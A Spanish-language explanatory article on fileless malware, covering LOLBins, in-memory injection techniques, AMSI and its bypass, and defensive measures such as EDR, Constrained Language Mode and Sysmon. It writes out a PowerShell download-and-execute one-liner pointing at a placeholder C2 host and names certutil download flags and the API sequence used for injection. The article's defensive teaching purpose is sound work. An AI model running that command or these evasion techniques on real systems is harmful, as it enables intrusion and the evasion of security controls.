Malware sin Archivos (Fileless Malware): Operación en Memoria RAM, Living off the Land y Detección AMSI
Durante décadas, el modelo mental universal de una infección informática consistía en un archivo contaminado que aterrizaba en el disco duro: un ejecutable .exe adjunto en un correo, un archivo comprimido descargado de un sitio turbio o un script oculto en una memoria USB. En respuesta, la industria de la ciberseguridad perfeccionó los escáneres basados en firmas en disco duro y los filtros perimetrales de pasarela de red. Sin embargo, los grupos cibercriminales avanzados y las agencias de espionaje estatal (APTs) desarrollaron una táctica devastadora que dejó a los antivirus convencionales totalmente ciegos: el Malware sin Archivos (Fileless Malware o ataques no basados en archivos).
A diferencia del malware tradicional, el malware sin archivos nunca escribe un binario ejecutable malicioso en el disco duro de la víctima. Toda su actividad, desde la inyección inicial de la shellcode hasta la persistencia y la exfiltración de información confidencial, se desarrolla de manera volátil y dinámica dentro de la memoria RAM del sistema operativo o apoyándose en herramientas administrativas legítimas preinstaladas en Windows o Linux. En este artículo técnico exhaustivo, analizamos la mecánica profunda del malware sin archivos, las técnicas de Living off the Land (LotL) y cómo los motores modernos como AMSI y EDR logran interceptarlo.
¿Qué es Realmente el Malware sin Archivos?
El término "fileless" puede resultar paradójico o engañoso para quienes no están familiarizados con los entresijos de la arquitectura de sistemas operativos. ¿Cómo puede existir y operar un programa de computadora sin tener un archivo asociado? La respuesta reside en la capacidad del sistema operativo para cargar y ejecutar instrucciones en lenguaje máquina directamente en la memoria volátil utilizando procesos de confianza ya existentes.
El malware sin archivos no es una familia o variante específica de software malicioso (como lo son un troyano bancario o un ransomware), sino una técnica de evasión y método de ejecución. El código ofensivo se introduce en el sistema aprovechando vulnerabilidades en aplicaciones de usuario (como navegadores web o visores de documentos) o mediante scripts ofuscados que inyectan el payload directamente en el espacio de direcciones de un proceso legítimo en memoria.
Características Principales del Malware sin Archivos:
- Inexistencia de huella en disco (Diskless): Al no guardar binarios en carpetas del sistema como
C:\Program Fileso%AppData%, los escáneres de antivirus tradicionales basados en firmas de ficheros y accesos I/O no registran ninguna anomalía durante la fase de despliegue. - Aprovechamiento de binarios nativos del sistema: En lugar de llevar sus propias herramientas de hacking, el atacante utiliza utilidades administrativas firmadas digitalmente por Microsoft o el fabricante del sistema operativo.
- Volatilidad inherente: Al residir primordialmente en la memoria RAM, un reinicio completo del equipo suele descargar el código malicioso de la memoria, dificultando extraordinariamente el análisis forense posterior si no se capturó un volcado de memoria antes del apagado.
La Estrategia "Living off the Land" (LotL) y Binarios LOLBins
El concepto de Living off the Land (Vivir de la Tierra) es la filosofía medular del malware sin archivos. Consiste en operar como un parásito invisible que utiliza exclusivamente las herramientas y recursos que ya habitan en el ecosistema de la víctima.
En el entorno de Windows, estas utilidades legítimas se conocen formalmente como LOLBins (Living Off the Land Binaries) o LOLScripts. Dado que estos ejecutables están firmados oficialmente por Microsoft y son necesarios para las operaciones cotidianas de los administradores de sistemas de TI, los sistemas de seguridad no pueden simplemente bloquearlos o eliminarlos sin causar graves fallos operativos en toda la infraestructura de la empresa.
Ejemplos Notorios de LOLBins y su Explotación Ofensiva:
- PowerShell (powershell.exe): El potente motor de automatización de Windows permite ejecutar scripts en memoria desde internet sin tocar el disco mediante comandos de una sola línea (One-Liners):
IEX(New-Object Net.WebClient).DownloadString('https://sitio-c2/payload.ps1'). - Windows Management Instrumentation (WMI / wmic.exe): Utilizado históricamente para tareas de inventario y configuración de red, los ciberdelincuentes lo emplean para recolectar información de usuarios locales, lanzar procesos en segundo plano y establecer mecanismos de persistencia persistentes en el repositorio CIM sin archivos.
- Certutil (certutil.exe): Una utilidad de línea de comandos diseñada para manipular certificados digitales y servicios de certificación de Windows. Los atacantes descubrieron que su parámetro
-urlcache -split -fpermite descargar archivos y shellcodes ofuscadas directamente desde servidores remotos eludiendo filtros web. - Mshta (mshta.exe): El ejecutable encargado de procesar aplicaciones HTML de Microsoft (archivos .hta). Permite interpretar código JavaScript y VBScript con privilegios elevados del sistema operativo simplemente invocando una URL remota.
- Regsvr32 (regsvr32.exe): Empleado para registrar librerías dinámicas DLL. A través del célebre truco conocido como "Squiblydoo", regsvr32 puede descargar y ejecutar scripts XML/COM maliciosos desde la web sin generar alertas de cortafuegos en muchos entornos desactualizados.
Mecanismos de Inyección en Memoria RAM
Para lograr la ejecución en memoria sin archivos, los atacantes emplean técnicas sofisticadas de manipulación de la API Win32 de bajo nivel:
1. Process Injection (Inyección Clásica de DLL / Shellcode)
El malware abre un proceso legítimo que ya se encuentra en ejecución en Windows (por ejemplo, notepad.exe, explorer.exe o svchost.exe) mediante la función de la API de Windows OpenProcess. Luego, reserva una región de memoria en ese proceso con VirtualAllocEx, escribe la shellcode maliciosa en ese bloque con WriteProcessMemory y, finalmente, crea un nuevo hilo de ejecución dentro del proceso huésped mediante CreateRemoteThread. A ojos del administrador de tareas, solo se observa un Bloc de Notas o un Explorador de Windows ordinario.
2. Process Hollowing (Vaciado de Procesos)
Una técnica sumamente elusiva donde el atacante crea un proceso legítimo en estado suspendido utilizando el flag CREATE_SUSPENDED. A continuación, desasocia y vacía el código ejecutable original del proceso desde la memoria con la función no documentada NtUnmapViewOfSection, escribe en su lugar el código malicioso y reanuda el hilo de ejecución principal con ResumeThread. Las estructuras de cabecera PEB (Process Environment Block) continúan indicando el nombre del proceso legítimo, burlando herramientas de monitorización básica.
3. Reflective DLL Injection (Inyección Reflexiva de DLLs)
Permite cargar una librería de vínculos dinámicos (DLL) directamente desde la memoria RAM hacia el espacio de direcciones de un proceso sin utilizar el cargador nativo de Windows (LoadLibrary). La propia DLL maliciosa contiene su propio cargador PE interno en ensamblador, evitando que el sistema operativo registre la DLL en las tablas del kernel.
Tabla Comparativa: Malware Basado en Archivos vs. Malware sin Archivos (Fileless)
Para evidenciar el contraste entre ambos modelos operativos, revisemos la siguiente comparativa técnica detallada:
| Dimensión Técnica | Malware Tradicional (En Disco) | Malware sin Archivos (Fileless) |
|---|---|---|
| Almacenamiento del Payload | Archivos binarios en disco (.exe, .dll, .scr). | Memoria RAM volátil, claves de Registro, WMI. |
| Ejecutables Utilizados | Binarios externos desarrollados por el atacante. | Binarios nativos firmados por Microsoft (LOLBins). |
| Detección Antivirus Tradicional | Efectiva (escaneo de hash MD5/SHA256 en disco). | Prácticamente nula (no hay archivo físico que escanear). |
| Persistencia al Reinicio | Claves Run del Registro, tareas programadas con binarios. | Subscripciones a eventos WMI, scripts en registro (sin exe). |
| Dificultad de Análisis Forense | Media (el analista recupera el archivo del disco). | Muy Alta (la evidencia desaparece al apagar la RAM). |
| Tecnología Defensiva Óptima | Antivirus perimetral y escáner de ficheros. | EDR comportamental, AMSI, Sysmon y PowerShell Script Logging. |
El Papel de la Interfaz AMSI (Antimalware Scan Interface)
Para combatir la proliferación masiva de scripts ofuscados y malware sin archivos en entornos de scripting, Microsoft introdujo en Windows 10 la AMSI (Antimalware Scan Interface). AMSI es una interfaz de programación abierta que permite que los motores de scripting (PowerShell, Wscript, Cscript, Office VBA, .NET Framework) se comuniquen directamente con el software antivirus o EDR instalado antes de interpretar o compilar cualquier línea de código.
Cuando un atacante envía un comando de PowerShell ofuscado con múltiples capas de Base64, reemplazos de cadenas y compresión GZIP, la consola de PowerShell decodifica paso a paso el código hasta obtener las instrucciones en texto plano. Justo en ese microsegundo previo a la ejecución, AMSI intercepta el búfer de memoria decodificado y lo envía al motor del antivirus para su escaneo. Si el código coincide con firmas de shellcodes o patrones hostiles conocidos (como llamadas a VirtualAlloc con permisos RWX), el comando se aborta instantáneamente arrojando el error de sistema: "Este script contiene contenido malicioso y ha sido bloqueado por el software antivirus".
La Batalla de la Evasión de AMSI (AMSI Bypass)
Dado que AMSI se carga como una librería dinámica (amsi.dll) dentro del mismo espacio de memoria de usuario que el propio proceso de PowerShell, los investigadores ofensivos y los cibercriminales han desarrollado técnicas para parchear en caliente la función AmsiScanBuffer en la memoria RAM, escribiendo bytes en ensamblador que fuerzan a la función a retornar un código que indica siempre que el contenido está "limpio" (AMSI_RESULT_CLEAN). Esto ha desatado una carrera armamentística continua entre las actualizaciones del kernel de Windows y los autores de malware.
Estrategias Defensivas para Mitigar Ataques Fileless
La neutralización del malware sin archivos exige trascender el paradigma del escaneo estático e implementar controles profundos de comportamiento y telemetría:
1. Despliegue de Sensores EDR con Monitorización de Kernel
Dado que las acciones maliciosas se efectúan en la memoria y en la red, un sensor EDR avanzado supervisa las llamadas a la API de inyección (como NtWriteVirtualMemory o CreateRemoteThread), identificando comportamientos anómalos como un proceso powershell.exe comunicándose con direcciones IP no categorizadas o intentando acceder a los tokens de seguridad de otros procesos.
2. Restricción del Modo de Lenguaje en PowerShell (Constrained Language Mode)
Al implementar políticas de control de aplicaciones como AppLocker o WDAC, PowerShell entra automáticamente en Modo de Lenguaje Restringido (CLM). En este estado, los usuarios estándar no pueden invocar tipos de datos .NET arbitrarios, APIs Win32 ni técnicas de reflexión en memoria, neutralizando el 95% de los frameworks de explotación sin archivos basados en PowerShell (como Empire o PowerSploit).
3. Registro Exhaustivo con Sysmon (System Monitor)
Sysmon de Microsoft Sysinternals es un controlador de kernel y servicio del sistema gratuito que registra en el visor de eventos de Windows micro-eventos cruciales para cazar malware sin archivos:
- Evento 1: Creación de procesos con línea de comandos completa (revela comandos de LOLBins).
- Evento 7: Carga de imágenes/módulos DLL por parte de procesos.
- Evento 8: Detección de creación de hilos remotos (CreateRemoteThread), la firma inequívoca de la inyección de procesos.
- Eventos 19, 20 y 21: Creación y ejecución de filtros y consumidores de eventos permanentes de WMI.
Preguntas Frecuentes sobre Malware sin Archivos (FAQ)
Si apago el ordenador, ¿el malware sin archivos desaparece para siempre?
El código residente en la memoria RAM volátil se borra con el corte de energía eléctrica. Sin embargo, los atacantes profesionales casi siempre configuran un mecanismo de persistencia sin archivos antes de que el equipo se apague. Por ejemplo, almacenan un script ofuscado dentro de una clave del Registro de Windows o en una subscripción a eventos de WMI. Al encender nuevamente el equipo, Windows lee esa clave e inyecta nuevamente el payload en la RAM de forma automática.
¿Un escaneo completo de disco con mi antivirus puede encontrar este malware?
No. Un escáner de disco tradicional lee los sectores físicos del almacenamiento secundario (SSD o HDD). Como el malware sin archivos no existe como archivo ejecutable en disco, el escáner no encontrará nada sospechoso. Solo las herramientas que inspeccionan la memoria RAM activa y la telemetría comportamental de procesos pueden detectarlo.
¿Los sistemas Linux y macOS son vulnerables al malware sin archivos?
Absolutamente. En Linux, los atacantes utilizan scripts de Bash, inyección de librerías mediante la variable de entorno LD_PRELOAD y utilidades nativas de administración (LOLBins de Linux, catalogados en el proyecto GTFOBins) como curl, awk o python ejecutados directamente contra sockets de red sin guardar binarios en disco.
¿Qué es el proyecto LOLBAS?
El proyecto LOLBAS (Living Off The Land Binaries, Scripts and Libraries) es un repositorio colaborativo de código abierto que documenta de manera exhaustiva todos los binarios y scripts oficiales de Windows que pueden ser utilizados por atacantes para evadir controles de seguridad, descargar archivos maliciosos, saltarse UAC o ejecutar código arbitrario.
Conclusión
El malware sin archivos representa la maduración definitiva de las técnicas de evasión informática. Al desprenderse del soporte físico del disco duro y mimetizarse con las herramientas cotidianas de administración del sistema operativo, estos vectores han cambiado las reglas del juego de la ciberseguridad.
Frente a adversarios que no dejan archivos a su paso, las organizaciones deben abandonar la complacencia de los antivirus tradicionales y adoptar arquitecturas basadas en visibilidad de memoria, telemetría EDR continua, contención rigurosa de PowerShell y principios de privilegio mínimo para mantener sus defensas un paso por delante de la amenaza invisible.